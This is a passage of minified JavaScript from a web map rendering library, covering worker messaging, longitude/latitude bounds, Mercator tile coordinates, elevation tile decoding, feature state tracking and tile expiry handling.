wh(this.process),this.target.addEventListener("message",this.receive,!1),this.globalScope=z()?D:self};Jf.prototype.send=function(D,U,ee,ce,me){var Se=this;me===void 0&&(me=!1);var We=Math.round(Math.random()*1e18).toString(36).substring(0,10);ee&&(this.callbacks[We]=ee);var at=J(this.globalScope)?void 0:[];return this.target.postMessage({id:We,type:D,hasCallback:!!ee,targetMapId:ce,mustQueue:me,sourceMapId:this.mapId,data:je(U,at)},at),{cancel:function(){ee&&delete Se.callbacks[We],Se.target.postMessage({id:We,type:"<cancel>",targetMapId:ce,sourceMapId:Se.mapId})}}},Jf.prototype.receive=function(D){var U=D.data,ee=U.id;if(ee&&!(U.targetMapId&&this.mapId!==U.targetMapId))if(U.type==="<cancel>"){delete this.tasks[ee];var ce=this.cancelCallbacks[ee];delete this.cancelCallbacks[ee],ce&&ce()}else z()||U.mustQueue?(this.tasks[ee]=U,this.taskQueue.push(ee),this.invoker.trigger()):this.processTask(ee,U)},Jf.prototype.process=function(){if(this.taskQueue.length){var D=this.taskQueue.shift(),U=this.tasks[D];delete this.tasks[D],this.taskQueue.length&&this.invoker.trigger(),U&&this.processTask(D,U)}},Jf.prototype.processTask=function(D,U){var ee=this;if(U.type==="<response>"){var ce=this.callbacks[D];delete this.callbacks[D],ce&&(U.error?ce(qe(U.error)):ce(null,qe(U.data)))}else{var me=!1,Se=J(this.globalScope)?void 0:[],We=U.hasCallback?function(qt,Zt){me=!0,delete ee.cancelCallbacks[D],ee.target.postMessage({id:D,type:"<response>",sourceMapId:ee.mapId,error:qt?je(qt):null,data:je(Zt,Se)},Se)}:function(qt){me=!0},at=null,dt=qe(U.data);if(this.parent[U.type])at=this.parent[U.type](U.sourceMapId,dt,We);else if(this.parent.getWorkerSource){var xt=U.type.split("."),Bt=this.parent.getWorkerSource(U.sourceMapId,xt[0],dt.source);at=Bt[xt[1]](dt,We)}else We(new Error("Could not find function "+U.type));!me&&at&&at.cancel&&(this.cancelCallbacks[D]=at.cancel)}},Jf.prototype.remove=function(){this.invoker.remove(),this.target.removeEventListener("message",this.receive,!1)};function M0(R,D,U){D=Math.pow(2,U)-D-1;var ee=Sv(R*256,D*256,U),ce=Sv((R+1)*256,(D+1)*256,U);return ee[0]+","+ee[1]+","+ce[0]+","+ce[1]}function Sv(R,D,U){var ee=2*Math.PI*6378137/256/Math.pow(2,U),ce=R*ee-2*Math.PI*6378137/2,me=D*ee-2*Math.PI*6378137/2;return[ce,me]}var Ui=function(D,U){D&&(U?this.setSouthWest(D).setNorthEast(U):D.length===4?this.setSouthWest([D[0],D[1]]).setNorthEast([D[2],D[3]]):this.setSouthWest(D[0]).setNorthEast(D[1]))};Ui.prototype.setNorthEast=function(D){return this._ne=D instanceof mi?new mi(D.lng,D.lat):mi.convert(D),this},Ui.prototype.setSouthWest=function(D){return this._sw=D instanceof mi?new mi(D.lng,D.lat):mi.convert(D),this},Ui.prototype.extend=function(D){var U=this._sw,ee=this._ne,ce,me;if(D instanceof mi)ce=D,me=D;else if(D instanceof Ui){if(ce=D._sw,me=D._ne,!ce||!me)return this}else{if(Array.isArray(D))if(D.length===4||D.every(Array.isArray)){var Se=D;return this.extend(Ui.convert(Se))}else{var We=D;return this.extend(mi.convert(We))}return this}return!U&&!ee?(this._sw=new mi(ce.lng,ce.lat),this._ne=new mi(me.lng,me.lat)):(U.lng=Math.min(ce.lng,U.lng),U.lat=Math.min(ce.lat,U.lat),ee.lng=Math.max(me.lng,ee.lng),ee.lat=Math.max(me.lat,ee.lat)),this},Ui.prototype.getCenter=function(){return new mi((this._sw.lng+this._ne.lng)/2,(this._sw.lat+this._ne.lat)/2)},Ui.prototype.getSouthWest=function(){return this._sw},Ui.prototype.getNorthEast=function(){return this._ne},Ui.prototype.getNorthWest=function(){return new mi(this.getWest(),this.getNorth())},Ui.prototype.getSouthEast=function(){return new mi(this.getEast(),this.getSouth())},Ui.prototype.getWest=function(){return this._sw.lng},Ui.prototype.getSouth=function(){return this._sw.lat},Ui.prototype.getEast=function(){return this._ne.lng},Ui.prototype.getNorth=function(){return this._ne.lat},Ui.prototype.toArray=function(){return[this._sw.toArray(),this._ne.toArray()]},Ui.prototype.toString=function(){return"LngLatBounds("+this._sw.toString()+", "+this._ne.toString()+")"},Ui.prototype.isEmpty=function(){return!(this._sw&&this._ne)},Ui.prototype.contains=function(D){var U=mi.convert(D),ee=U.lng,ce=U.lat,me=this._sw.lat<=ce&&ce<=this._ne.lat,Se=this._sw.lng<=ee&&ee<=this._ne.lng;return this._sw.lng>this._ne.lng&&(Se=this._sw.lng>=ee&&ee>=this._ne.lng),me&&Se},Ui.convert=function(D){return!D||D instanceof Ui?D:new Ui(D)};var Ev=63710088e-1,mi=function(D,U){if(isNaN(D)||isNaN(U))throw new Error("Invalid LngLat object: ("+D+", "+U+")");if(this.lng=+D,this.lat=+U,this.lat>90||this.lat<-90)throw new Error("Invalid LngLat latitude value: must be between -90 and 90")};mi.prototype.wrap=function(){return new mi(y(this.lng,-180,180),this.lat)},mi.prototype.toArray=function(){return[this.lng,this.lat]},mi.prototype.toString=function(){return"LngLat("+this.lng+", "+this.lat+")"},mi.prototype.distanceTo=function(D){var U=Math.PI/180,ee=this.lat*U,ce=D.lat*U,me=Math.sin(ee)*Math.sin(ce)+Math.cos(ee)*Math.cos(ce)*Math.cos((D.lng-this.lng)*U),Se=Ev*Math.acos(Math.min(me,1));return Se},mi.prototype.toBounds=function(D){D===void 0&&(D=0);var U=40075017,ee=360*D/U,ce=ee/Math.cos(Math.PI/180*this.lat);return new Ui(new mi(this.lng-ce,this.lat-ee),new mi(this.lng+ce,this.lat+ee))},mi.convert=function(D){if(D instanceof mi)return D;if(Array.isArray(D)&&(D.length===2||D.length===3))return new mi(Number(D[0]),Number(D[1]));if(!Array.isArray(D)&&typeof D=="object"&&D!==null)return new mi(Number("lng"in D?D.lng:D.lon),Number(D.lat));throw new Error("`LngLatLike` argument must be specified as a LngLat instance, an object {lng: <lng>, lat: <lat>}, an object {lon: <lng>, lat: <lat>}, or an array of [<lng>, <lat>]")};var Cv=2*Math.PI*Ev;function Lv(R){return Cv*Math.cos(R*Math.PI/180)}function Pv(R){return(180+R)/360}function Rv(R){return(180-180/Math.PI*Math.log(Math.tan(Math.PI/4+R*Math.PI/360)))/360}function Dv(R,D){return R/Lv(D)}function S0(R){return R*360-180}function Th(R){var D=180-R*360;return 360/Math.PI*Math.atan(Math.exp(D*Math.PI/180))-90}function E0(R,D){return R*Lv(Th(D))}function C0(R){return 1/Math.cos(R*Math.PI/180)}var Ef=function(D,U,ee){ee===void 0&&(ee=0),this.x=+D,this.y=+U,this.z=+ee};Ef.fromLngLat=function(D,U){U===void 0&&(U=0);var ee=mi.convert(D);return new Ef(Pv(ee.lng),Rv(ee.lat),Dv(U,ee.lat))},Ef.prototype.toLngLat=function(){return new mi(S0(this.x),Th(this.y))},Ef.prototype.toAltitude=function(){return E0(this.z,this.y)},Ef.prototype.meterInMercatorCoordinateUnits=function(){return 1/Cv*C0(Th(this.y))};var Cf=function(D,U,ee){this.z=D,this.x=U,this.y=ee,this.key=bc(0,D,D,U,ee)};Cf.prototype.equals=function(D){return this.z===D.z&&this.x===D.x&&this.y===D.y},Cf.prototype.url=function(D,U){var ee=M0(this.x,this.y,this.z),ce=L0(this.z,this.x,this.y);return D[(this.x+this.y)%D.length].replace("{prefix}",(this.x%16).toString(16)+(this.y%16).toString(16)).replace("{z}",String(this.z)).replace("{x}",String(this.x)).replace("{y}",String(U==="tms"?Math.pow(2,this.z)-this.y-1:this.y)).replace("{quadkey}",ce).replace("{bbox-epsg-3857}",ee)},Cf.prototype.getTilePoint=function(D){var U=Math.pow(2,this.z);return new t((D.x*U-this.x)*xa,(D.y*U-this.y)*xa)},Cf.prototype.toString=function(){return this.z+"/"+this.x+"/"+this.y};var Iv=function(D,U){this.wrap=D,this.canonical=U,this.key=bc(D,U.z,U.z,U.x,U.y)},Hi=function(D,U,ee,ce,me){this.overscaledZ=D,this.wrap=U,this.canonical=new Cf(ee,+ce,+me),this.key=bc(U,D,ee,ce,me)};Hi.prototype.equals=function(D){return this.overscaledZ===D.overscaledZ&&this.wrap===D.wrap&&this.canonical.equals(D.canonical)},Hi.prototype.scaledTo=function(D){var U=this.canonical.z-D;return D>this.canonical.z?new Hi(D,this.wrap,this.canonical.z,this.canonical.x,this.canonical.y):new Hi(D,this.wrap,D,this.canonical.x>>U,this.canonical.y>>U)},Hi.prototype.calculateScaledKey=function(D,U){var ee=this.canonical.z-D;return D>this.canonical.z?bc(this.wrap*+U,D,this.canonical.z,this.canonical.x,this.canonical.y):bc(this.wrap*+U,D,D,this.canonical.x>>ee,this.canonical.y>>ee)},Hi.prototype.isChildOf=function(D){if(D.wrap!==this.wrap)return!1;var U=this.canonical.z-D.canonical.z;return D.overscaledZ===0||D.overscaledZ<this.overscaledZ&&D.canonical.x===this.canonical.x>>U&&D.canonical.y===this.canonical.y>>U},Hi.prototype.children=function(D){if(this.overscaledZ>=D)return[new Hi(this.overscaledZ+1,this.wrap,this.canonical.z,this.canonical.x,this.canonical.y)];var U=this.canonical.z+1,ee=this.canonical.x*2,ce=this.canonical.y*2;return[new Hi(U,this.wrap,U,ee,ce),new Hi(U,this.wrap,U,ee+1,ce),new Hi(U,this.wrap,U,ee,ce+1),new Hi(U,this.wrap,U,ee+1,ce+1)]},Hi.prototype.isLessThan=function(D){return this.wrap<D.wrap?!0:this.wrap>D.wrap?!1:this.overscaledZ<D.overscaledZ?!0:this.overscaledZ>D.overscaledZ?!1:this.canonical.x<D.canonical.x?!0:this.canonical.x>D.canonical.x?!1:this.canonical.y<D.canonical.y},Hi.prototype.wrapped=function(){return new Hi(this.overscaledZ,0,this.canonical.z,this.canonical.x,this.canonical.y)},Hi.prototype.unwrapTo=function(D){return new Hi(this.overscaledZ,D,this.canonical.z,this.canonical.x,this.canonical.y)},Hi.prototype.overscaleFactor=function(){return Math.pow(2,this.overscaledZ-this.canonical.z)},Hi.prototype.toUnwrapped=function(){return new Iv(this.wrap,this.canonical)},Hi.prototype.toString=function(){return this.overscaledZ+"/"+this.canonical.x+"/"+this.canonical.y},Hi.prototype.getTilePoint=function(D){return this.canonical.getTilePoint(new Ef(D.x-this.wrap,D.y))};function bc(R,D,U,ee,ce){R*=2,R<0&&(R=R*-1-1);var me=1<<U;return(me*me*R+me*ce+ee).toString(36)+U.toString(36)+D.toString(36)}function L0(R,D,U){for(var ee="",ce,me=R;me>0;me--)ce=1<<me-1,ee+=(D&ce?1:0)+(U&ce?2:0);return ee}se("CanonicalTileID",Cf),se("OverscaledTileID",Hi,{omit:["posMatrix"]});var gu=function(D,U,ee){if(this.uid=D,U.height!==U.width)throw new RangeError("DEM tiles must be square");if(ee&&ee!=="mapbox"&&ee!=="terrarium")return B('"'+ee+'" is not a valid encoding type. Valid types include "mapbox" and "terrarium".');this.stride=U.height;var ce=this.dim=U.height-2;this.data=new Uint32Array(U.data.buffer),this.encoding=ee||"mapbox";for(var me=0;me<ce;me++)this.data[this._idx(-1,me)]=this.data[this._idx(0,me)],this.data[this._idx(ce,me)]=this.data[this._idx(ce-1,me)],this.data[this._idx(me,-1)]=this.data[this._idx(me,0)],this.data[this._idx(me,ce)]=this.data[this._idx(me,ce-1)];this.data[this._idx(-1,-1)]=this.data[this._idx(0,0)],this.data[this._idx(ce,-1)]=this.data[this._idx(ce-1,0)],this.data[this._idx(-1,ce)]=this.data[this._idx(0,ce-1)],this.data[this._idx(ce,ce)]=this.data[this._idx(ce-1,ce-1)]};gu.prototype.get=function(D,U){var ee=new Uint8Array(this.data.buffer),ce=this._idx(D,U)*4,me=this.encoding==="terrarium"?this._unpackTerrarium:this._unpackMapbox;return me(ee[ce],ee[ce+1],ee[ce+2])},gu.prototype.getUnpackVector=function(){return this.encoding==="terrarium"?[256,1,.00390625,32768]:[6553.6,25.6,.1,1e4]},gu.prototype._idx=function(D,U){if(D<-1||D>=this.dim+1||U<-1||U>=this.dim+1)throw new RangeError("out of range source coordinates for DEM data");return(U+1)*this.stride+(D+1)},gu.prototype._unpackMapbox=function(D,U,ee){return(D*256*256+U*256+ee)/10-1e4},gu.prototype._unpackTerrarium=function(D,U,ee){return D*256+U+ee/256-32768},gu.prototype.getPixels=function(){return new Ho({width:this.stride,height:this.stride},new Uint8Array(this.data.buffer))},gu.prototype.backfillBorder=function(D,U,ee){if(this.dim!==D.dim)throw new Error("dem dimension mismatch");var ce=U*this.dim,me=U*this.dim+this.dim,Se=ee*this.dim,We=ee*this.dim+this.dim;switch(U){case-1:ce=me-1;break;case 1:me=ce+1;break}switch(ee){case-1:Se=We-1;break;case 1:We=Se+1;break}for(var at=-U*this.dim,dt=-ee*this.dim,xt=Se;xt<We;xt++)for(var Bt=ce;Bt<me;Bt++)this.data[this._idx(Bt,xt)]=D.data[this._idx(Bt+at,xt+dt)]},se("DEMData",gu);function P0(R,D){var U={};if(!D)return U;for(var ee=function(){var Se=me[ce],We=Se.layerIds.map(function(Bt){return D.getLayer(Bt)}).filter(Boolean);if(We.length!==0){Se.layers=We,Se.stateDependentLayerIds&&(Se.stateDependentLayers=Se.stateDependentLayerIds.map(function(Bt){return We.filter(function(qt){return qt.id===Bt})[0]}));for(var at=0,dt=We;at<dt.length;at+=1){var xt=dt[at];U[xt.id]=Se}}},ce=0,me=R;ce<me.length;ce+=1)ee();return U}var Yc=function(D){this._stringToNumber={},this._numberToString=[];for(var U=0;U<D.length;U++){var ee=D[U];this._stringToNumber[ee]=U,this._numberToString[U]=ee}};Yc.prototype.encode=function(D){return this._stringToNumber[D]},Yc.prototype.decode=function(D){return this._numberToString[D]};var Zc=function(D,U,ee,ce,me){this.type="Feature",this._vectorTileFeature=D,D._z=U,D._x=ee,D._y=ce,this.properties=D.properties,this.id=me},Ah={geometry:{configurable:!0}};Ah.geometry.get=function(){return this._geometry===void 0&&(this._geometry=this._vectorTileFeature.toGeoJSON(this._vectorTileFeature._x,this._vectorTileFeature._y,this._vectorTileFeature._z).geometry),this._geometry},Ah.geometry.set=function(R){this._geometry=R},Zc.prototype.toJSON=function(){var D={geometry:this.geometry};for(var U in this)U==="_geometry"||U==="_vectorTileFeature"||(D[U]=this[U]);return D},Object.defineProperties(Zc.prototype,Ah);var Qf=function(){this.state={},this.stateChanges={},this.deletedStates={}};Qf.prototype.updateState=function(D,U,ee){var ce=String(U);if(this.stateChanges[D]=this.stateChanges[D]||{},this.stateChanges[D][ce]=this.stateChanges[D][ce]||{},i(this.stateChanges[D][ce],ee),this.deletedStates[D]===null){this.deletedStates[D]={};for(var me in this.state[D])me!==ce&&(this.deletedStates[D][me]=null)}else{var Se=this.deletedStates[D]&&this.deletedStates[D][ce]===null;if(Se){this.deletedStates[D][ce]={};for(var We in this.state[D][ce])ee[We]||(this.deletedStates[D][ce][We]=null)}else for(var at in ee){var dt=this.deletedStates[D]&&this.deletedStates[D][ce]&&this.deletedStates[D][ce][at]===null;dt&&delete this.deletedStates[D][ce][at]}}},Qf.prototype.removeFeatureState=function(D,U,ee){var ce=this.deletedStates[D]===null;if(!ce){var me=String(U);if(this.deletedStates[D]=this.deletedStates[D]||{},ee&&U!==void 0)this.deletedStates[D][me]!==null&&(this.deletedStates[D][me]=this.deletedStates[D][me]||{},this.deletedStates[D][me][ee]=null);else if(U!==void 0){var Se=this.stateChanges[D]&&this.stateChanges[D][me];if(Se){this.deletedStates[D][me]={};for(ee in this.stateChanges[D][me])this.deletedStates[D][me][ee]=null}else this.deletedStates[D][me]=null}else this.deletedStates[D]=null}},Qf.prototype.getState=function(D,U){var ee=String(U),ce=this.state[D]||{},me=this.stateChanges[D]||{},Se=i({},ce[ee],me[ee]);if(this.deletedStates[D]===null)return{};if(this.deletedStates[D]){var We=this.deletedStates[D][U];if(We===null)return{};for(var at in We)delete Se[at]}return Se},Qf.prototype.initializeTileState=function(D,U){D.setFeatureState(this.state,U)},Qf.prototype.coalesceChanges=function(D,U){var ee={};for(var ce in this.stateChanges){this.state[ce]=this.state[ce]||{};var me={};for(var Se in this.stateChanges[ce])this.state[ce][Se]||(this.state[ce][Se]={}),i(this.state[ce][Se],this.stateChanges[ce][Se]),me[Se]=this.state[ce][Se];ee[ce]=me}for(var We in this.deletedStates){this.state[We]=this.state[We]||{};var at={};if(this.deletedStates[We]===null)for(var dt in this.state[We])at[dt]={},this.state[We][dt]={};else for(var xt in this.deletedStates[We]){var Bt=this.deletedStates[We][xt]===null;if(Bt)this.state[We][xt]={};else for(var qt=0,Zt=Object.keys(this.deletedStates[We][xt]);qt<Zt.length;qt+=1){var vr=Zt[qt];delete this.state[We][xt][vr]}at[xt]=this.state[We][xt]}ee[We]=ee[We]||{},i(ee[We],at)}if(this.stateChanges={},this.deletedStates={},Object.keys(ee).length!==0)for(var kr in D){var Jr=D[kr];Jr.setFeatureState(ee,U)}};var yu=function(D,U){this.tileID=D,this.x=D.canonical.x,this.y=D.canonical.y,this.z=D.canonical.z,this.grid=new wa(xa,16,0),this.grid3D=new wa(xa,16,0),this.featureIndexArray=new ic,this.promoteId=U};yu.prototype.insert=function(D,U,ee,ce,me,Se){var We=this.featureIndexArray.length;this.featureIndexArray.emplaceBack(ee,ce,me);for(var at=Se?this.grid3D:this.grid,dt=0;dt<U.length;dt++){for(var xt=U[dt],Bt=[1/0,1/0,-1/0,-1/0],qt=0;qt<xt.length;qt++){var Zt=xt[qt];Bt[0]=Math.min(Bt[0],Zt.x),Bt[1]=Math.min(Bt[1],Zt.y),Bt[2]=Math.max(Bt[2],Zt.x),Bt[3]=Math.max(Bt[3],Zt.y)}Bt[0]<xa&&Bt[1]<xa&&Bt[2]>=0&&Bt[3]>=0&&at.insert(We,Bt[0],Bt[1],Bt[2],Bt[3])}},yu.prototype.loadVTLayers=function(){return this.vtLayers||(this.vtLayers=new Nf.VectorTile(new zc(this.rawTileData)).layers,this.sourceLayerCoder=new Yc(this.vtLayers?Object.keys(this.vtLayers).sort():["_geojsonTileLayer"])),this.vtLayers},yu.prototype.query=function(D,U,ee,ce){var me=this;this.loadVTLayers();for(var Se=D.params||{},We=xa/D.tileSize/D.scale,at=sl(Se.filter),dt=D.queryGeometry,xt=D.queryPadding*We,Bt=_v(dt),qt=this.grid.query(Bt.minX-xt,Bt.minY-xt,Bt.maxX+xt,Bt.maxY+xt),Zt=_v(D.cameraQueryGeometry),vr=this.grid3D.query(Zt.minX-xt,Zt.minY-xt,Zt.maxX+xt,Zt.maxY+xt,function(_n,Yn,Gn,ga){return Nl(D.cameraQueryGeometry,_n-xt,Yn-xt,Gn+xt,ga+xt)}),kr=0,Jr=vr;kr<Jr.length;kr+=1){var Zr=Jr[kr];qt.push(Zr)}qt.sort(R0);for(var mn={},hn,yn=function(_n){var Yn=qt[_n];if(Yn!==hn){hn=Yn;var Gn=me.featureIndexArray.get(Yn),ga=null;me.loadMatchingFeature(mn,Gn.bucketIndex,Gn.sourceLayerIndex,Gn.featureIndex,at,Se.layers,Se.availableImages,U,ee,ce,function(aa,ua,Pa){return ga||(ga=ti(aa)),ua.queryIntersectsFeature(dt,aa,Pa,ga,me.z,D.transform,We,D.pixelPosMatrix)})}},Cn=0;Cn<qt.length;Cn++)yn(Cn);return mn},yu.prototype.loadMatchingFeature=function(D,U,ee,ce,me,Se,We,at,dt,xt,Bt){var qt=this.bucketLayerIDs[U];if(!(Se&&!I(Se,qt))){var Zt=this.sourceLayerCoder.decode(ee),vr=this.vtLayers[Zt],kr=vr.feature(ce);if(me.filter(new In(this.tileID.overscaledZ),kr))for(var Jr=this.getId(kr,Zt),Zr=0;Zr<qt.length;Zr++){var mn=qt[Zr];if(!(Se&&Se.indexOf(mn)<0)){var hn=at[mn];if(hn){var yn={};Jr!==void 0&&xt&&(yn=xt.getState(hn.sourceLayer||"_geojsonTileLayer",Jr));var Cn=dt[mn];Cn.paint=kv(Cn.paint,hn.paint,kr,yn,We),Cn.layout=kv(Cn.layout,hn.layout,kr,yn,We);var _n=!Bt||Bt(kr,hn,yn);if(_n){var Yn=new Zc(kr,this.z,this.x,this.y,Jr);Yn.layer=Cn;var Gn=D[mn];Gn===void 0&&(Gn=D[mn]=[]),Gn.push({featureIndex:ce,feature:Yn,intersectionZ:_n})}}}}}},yu.prototype.lookupSymbolFeatures=function(D,U,ee,ce,me,Se,We,at){var dt={};this.loadVTLayers();for(var xt=sl(me),Bt=0,qt=D;Bt<qt.length;Bt+=1){var Zt=qt[Bt];this.loadMatchingFeature(dt,ee,ce,Zt,xt,Se,We,at,U)}return dt},yu.prototype.hasLayer=function(D){for(var U=0,ee=this.bucketLayerIDs;U<ee.length;U+=1)for(var ce=ee[U],me=0,Se=ce;me<Se.length;me+=1){var We=Se[me];if(D===We)return!0}return!1},yu.prototype.getId=function(D,U){var ee=D.id;if(this.promoteId){var ce=typeof this.promoteId=="string"?this.promoteId:this.promoteId[U];ee=D.properties[ce],typeof ee=="boolean"&&(ee=Number(ee))}return ee},se("FeatureIndex",yu,{omit:["rawTileData","sourceLayerCoder"]});function kv(R,D,U,ee,ce){return n(R,function(me,Se){var We=D instanceof ei?D.get(Se):null;return We&&We.evaluate?We.evaluate(U,ee,ce):We})}function _v(R){for(var D=1/0,U=1/0,ee=-1/0,ce=-1/0,me=0,Se=R;me<Se.length;me+=1){var We=Se[me];D=Math.min(D,We.x),U=Math.min(U,We.y),ee=Math.max(ee,We.x),ce=Math.max(ce,We.y)}return{minX:D,minY:U,maxX:ee,maxY:ce}}function R0(R,D){return D-R}var D0=3e4,Ji=function(D,U){this.tileID=D,this.uid=w(),this.uses=0,this.tileSize=U,this.buckets={},this.expirationTime=null,this.queryPadding=0,this.hasSymbolBuckets=!1,this.hasRTLText=!1,this.dependencies={},this.expiredRequestCount=0,this.state="loading"};Ji.prototype.registerFadeDuration=function(D){var U=D+this.timeAdded;U<ie.now()||this.fadeEndTime&&U<this.fadeEndTime||(this.fadeEndTime=U)},Ji.prototype.wasRequested=function(){return this.state==="errored"||this.state==="loaded"||this.state==="reloading"},Ji.prototype.loadVectorData=function(D,U,ee){if(this.hasData()&&this.unloadVectorData(),this.state="loaded",!D){this.collisionBoxArray=new Bl;return}D.featureIndex&&(this.latestFeatureIndex=D.featureIndex,D.rawTileData?(this.latestRawTileData=D.rawTileData,this.latestFeatureIndex.rawTileData=D.rawTileData):this.latestRawTileData&&(this.latestFeatureIndex.rawTileData=this.latestRawTileData)),this.collisionBoxArray=D.collisionBoxArray,this.buckets=P0(D.buckets,U.style),this.hasSymbolBuckets=!1;for(var ce in this.buckets){var me=this.buckets[ce];if(me instanceof ii)if(this.hasSymbolBuckets=!0,ee)me.justReloaded=!0;else break}if(this.hasRTLText=!1,this.hasSymbolBuckets)for(var Se in this.buckets){var We=this.buckets[Se];if(We instanceof ii&&We.hasRTLText){this.hasRTLText=!0,$a();break}}this.queryPadding=0;for(var at in this.buckets){var dt=this.buckets[at];this.queryPadding=Math.max(this.queryPadding,U.style.getLayer(at).queryRadius(dt))}D.imageAtlas&&(this.imageAtlas=D.imageAtlas),D.glyphAtlasImage&&(this.glyphAtlasImage=D.glyphAtlasImage)},Ji.prototype.unloadVectorData=function(){for(var D in this.buckets)this.buckets[D].destroy();this.buckets={},this.imageAtlasTexture&&this.imageAtlasTexture.destroy(),this.imageAtlas&&(this.imageAtlas=null),this.glyphAtlasTexture&&this.glyphAtlasTexture.destroy(),this.latestFeatureIndex=null,this.state="unloaded"},Ji.prototype.getBucket=function(D){return this.buckets[D.id]},Ji.prototype.upload=function(D){for(var U in this.buckets){var ee=this.buckets[U];ee.uploadPending()&&ee.upload(D)}var ce=D.gl;this.imageAtlas&&!this.imageAtlas.uploaded&&(this.imageAtlasTexture=new Sf(D,this.imageAtlas.image,ce.RGBA),this.imageAtlas.uploaded=!0),this.glyphAtlasImage&&(this.glyphAtlasTexture=new Sf(D,this.glyphAtlasImage,ce.ALPHA),this.glyphAtlasImage=null)},Ji.prototype.prepare=function(D){this.imageAtlas&&this.imageAtlas.patchUpdatedImages(D,this.imageAtlasTexture)},Ji.prototype.queryRenderedFeatures=function(D,U,ee,ce,me,Se,We,at,dt,xt){return!this.latestFeatureIndex||!this.latestFeatureIndex.rawTileData?{}:this.latestFeatureIndex.query({queryGeometry:ce,cameraQueryGeometry:me,scale:Se,tileSize:this.tileSize,pixelPosMatrix:xt,transform:at,params:We,queryPadding:this.queryPadding*dt},D,U,ee)},Ji.prototype.querySourceFeatures=function(D,U){var ee=this.latestFeatureIndex;if(!(!ee||!ee.rawTileData)){var ce=ee.loadVTLayers(),me=U?U.sourceLayer:"",Se=ce._geojsonTileLayer||ce[me];if(Se)for(var We=sl(U&&U.filter),at=this.tileID.canonical,dt=at.z,xt=at.x,Bt=at.y,qt={z:dt,x:xt,y:Bt},Zt=0;Zt<Se.length;Zt++){var vr=Se.feature(Zt);if(We.filter(new In(this.tileID.overscaledZ),vr)){var kr=ee.getId(vr,me),Jr=new Zc(vr,dt,xt,Bt,kr);Jr.tile=qt,D.push(Jr)}}}},Ji.prototype.hasData=function(){return this.state==="loaded"||this.state==="reloading"||this.state==="expired"},Ji.prototype.patternsLoaded=function(){return this.imageAtlas&&!!Object.keys(this.imageAtlas.patternPositions).length},Ji.prototype.setExpiryData=function(D){var U=this.expirationTime;if(D.cacheControl){var ee=N(D.cacheControl);ee["max-age"]&&(this.expirationTime=Date.now()+ee["max-age"]*1e3)}else D.expires&&(this.expirationTime=new Date(D.expires).getTime());if(this.expirationTime){var ce=Date.now(),me=!1;if(this.expirationTime>ce)me=!1;else if(!U)me=!0;else if(this.expirationTime<U)me=!0;else{var Se=this.expirationTime-U;Se?this.expirationTime=ce+Math.max(Se,D0):me=!0}me?(this.expiredRequestCount++,this.state="expired"):this.expiredRequestCount=0}},Ji.prototype.getExpiryTimeout=function(){if(this.expirationTime)return this.expiredRequestCount?1e3*(1<<Math.min(this.expiredRequestCount-1,31)):Math.min(this.expirationTime-new Date().getTime(),Math.pow(2,31)-1)},Ji.prototype.setFeatureState=function(D,U){if(!(!this.latestFeatureIndex||!this.latestFeatureIndex.rawTileData||Object.keys(D).length===0)){var ee=this.latestFeatureIndex.loadVTLayers();for(var ce in this.buckets)if(U.style.hasLayer(ce)){var me=this.buckets[ce],Se=me.layers[0].sourceLayer||"_geojsonTileLayer",We=ee[Se],at=D[Se];if(!(!We||!at||Object.keys(at).length===0)){me.update(at,We,this.imageAtlas&&this.imageAtlas.patternPositions||{});var dt=U&&U.style&&U.style.getLayer(ce);dt&&(this.queryPadding=Math.max(this.queryPadding,dt.queryRadius(me)))}}}},Ji.prototype.holdingForFade=function(){return this.symbolFadeHoldUntil!==void 0},Ji.prototype.symbolFadeFinished=function(){return!this.symbolFadeHoldUntil||this.symbolFadeHoldUntil<ie.now()},Ji.prototype.clearFadeHold=function(){this.symbolFadeHoldUntil=void 0},Ji.prototype.setHoldDuration=function(D){this.symbolFadeHoldUntil=ie.now()+D},Ji.prototype.setDependencies=function(D,U){for(var ee={},ce=0,me=U;ce<me.length;ce+=1){var Se=me[ce];ee[Se]=!0}this.dependencies[D]=ee},Ji.prototype.hasDependency=function(D,U){for(var ee=0,ce=D;ee<ce.length;ee+=1){var me=ce[ee],Se=this.dependencies[me];if(Se)for(var We=0,at=U;We<at.length;We+=1){var dt=at[We];if(Se[dt])return!0}}return!1};var I0=["type","source","source-layer","minzoom","maxzoom","filter","layout"],Xu=self.performance,zv=function(D){this._marks={start:[D.url,"start"].join("#"),end:[D.url,"end"].join("#"),measure:D.url.toString()},Xu.mark(this._marks.start)};zv.prototype.finish=function(){Xu.mark(this._marks.end);var D=Xu.getEntriesByName(this._marks.measure);return D.length===0&&(Xu.measure(this._marks.measure,this._marks.start,this._marks.end),D=Xu.getEntriesByName(this._marks.measure),Xu.clearMarks(this._marks.start),Xu.clearMarks(this._marks.end),Xu.clearMeasures(this._marks.measure)),D},o.Actor=Jf,o.AlphaImage=Mf,o.CanonicalTileID=Cf,o.CollisionBoxArray=Bl,o.Color=Ga,o.DEMData=gu,o.DataConstantProperty=la,o.DictionaryCoder=Yc,o.EXTENT=xa,o.ErrorEvent=rr,o.EvaluationParameters=In,o.Event=Nt,o.Evented=tr,o.FeatureIndex=yu,o.FillBucket=dl,o.FillExtrusionBucket=pl,o.ImageAtlas=gc,o.ImagePosition=Oc,o.LineBucket=Vo,o.LngLat=mi,o.LngLatBounds=Ui,o.MercatorCoordinate=Ef,o.ONE_EM=io,o.OverscaledTileID=Hi,o.Point=t,o.Point$1=t,o.Properties=_i,o.Protobuf=zc,o.RGBAImage=Ho,o.RequestManager=be,o.RequestPerformance=zv,o.ResourceType=ct,o.SegmentVector=H,o.SourceFeatureState=Qf,o.StructArrayLayout1ui2=Hu,o.StructArrayLayout2f1f2i16=cl,o.StructArrayLayout2i4=yf,o.StructArrayLayout3ui6=hl,o.StructArrayLayout4i8=_l,o.SymbolBucket=ii,o.Texture=Sf,o.Tile=Ji,o.Transitionable=za,o.Uniform1f=zr,o.Uniform1i=Or,o.Uniform2f=Yr,o.Uniform3f=en,o.Uniform4f=xn,o.UniformColor=Pn,o.UniformMatrix4f=Un,o.UnwrappedTileID=Iv,o.ValidationError=pr,o.WritingMode=vs,o.ZoomHistory=Mt,o.add=Ff,o.addDynamicAttributes=xh,o.asyncAll=c,o.bezier=l,o.bindAll=A,o.browser=ie,o.cacheEntryPossiblyAdded=_t,o.clamp=s,o.clearTileCache=Tt,o.clipLine=pv,o.clone=Lc,o.clone$1=x,o.clone$2=$c,o.collisionCircleLayout=hp,o.config=j,o.create=kf,o.create$1=Tf,o.create$2=wf,o.createCommonjsModule=L,o.createExpression=Ts,o.createLayout=ui,o.createStyleLayer=A0,o.cross=Vv,o.deepEqual=f,o.dot=Hv,o.dot$